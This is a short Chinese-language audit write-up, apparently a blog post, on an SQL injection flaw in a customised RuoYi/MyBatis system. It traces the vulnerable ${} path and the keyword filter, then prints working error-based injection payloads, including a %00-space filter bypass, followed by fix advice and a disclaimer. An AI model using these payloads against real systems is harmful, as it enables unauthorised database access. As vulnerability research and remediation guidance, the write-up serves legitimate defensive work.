一次若依二开系统代码审计
字数 700 2025-08-22 12:23:06
若依二开系统SQL注入漏洞审计与分析
一、系统概述
- 系统基于若依(RuoYi)框架进行二次开发
- 采用MyBatis作为ORM框架
- 存在部分若依历史漏洞的过滤机制,但过滤不严格
二、漏洞描述
系统存在SQL注入漏洞,主要原因是:
- 使用了MyBatis的
%{}语法 - 虽然实现了过滤机制,但过滤不彻底
- 导致攻击者可以构造特殊SQL语句绕过过滤
三、漏洞定位过程
1. 初始发现
- 全局搜索
%{语法,发现存在SQL注入风险点 - 定位到直接使用
${sql}语句的代码位置
2. 调用链追踪
- 向上跟踪路由,发现Controller层直接传入SQL语句
- 跟踪
filterKeyword过滤函数
3. 过滤机制分析
系统过滤了以下关键字:
updatexmlextractvaluesleep*号- 其他常见SQL注入关键词
四、漏洞利用方法
1. 原始若依框架绕过方法
原若依框架可使用payload:
CREATE table a1 as SELECT/**/extractvalue(1,concat(0x7e,(select/**/database()),0x7e))
2. 当前系统绕过方法
由于新增了过滤,使用替代payload:
CREATE table abc1 as SELECT-COUNT(*) FROM information_schema.tables GROUP BY CONCAT((SELECT%00USER%00()),floor(rand(0)*2))
3. 关键绕过技术
- 使用
%00替代空格 user%00()等价于user()函数- 利用
floor函数进行报错注入
五、漏洞修复建议
- 避免直接使用
${}语法,改用#{}预编译 - 完善过滤机制,增加对
%00等特殊字符的过滤 - 增加对
floor、rand等函数的过滤 - 实现参数化查询
六、参考资源
- 若依框架SQL过滤绕过分析:https://blog.takake.com/posts/7219/
七、免责声明
- 本文仅供技术研究参考
- 使用相关技术需遵守《中华人民共和国网络安全法》
- 请勿用于非法用途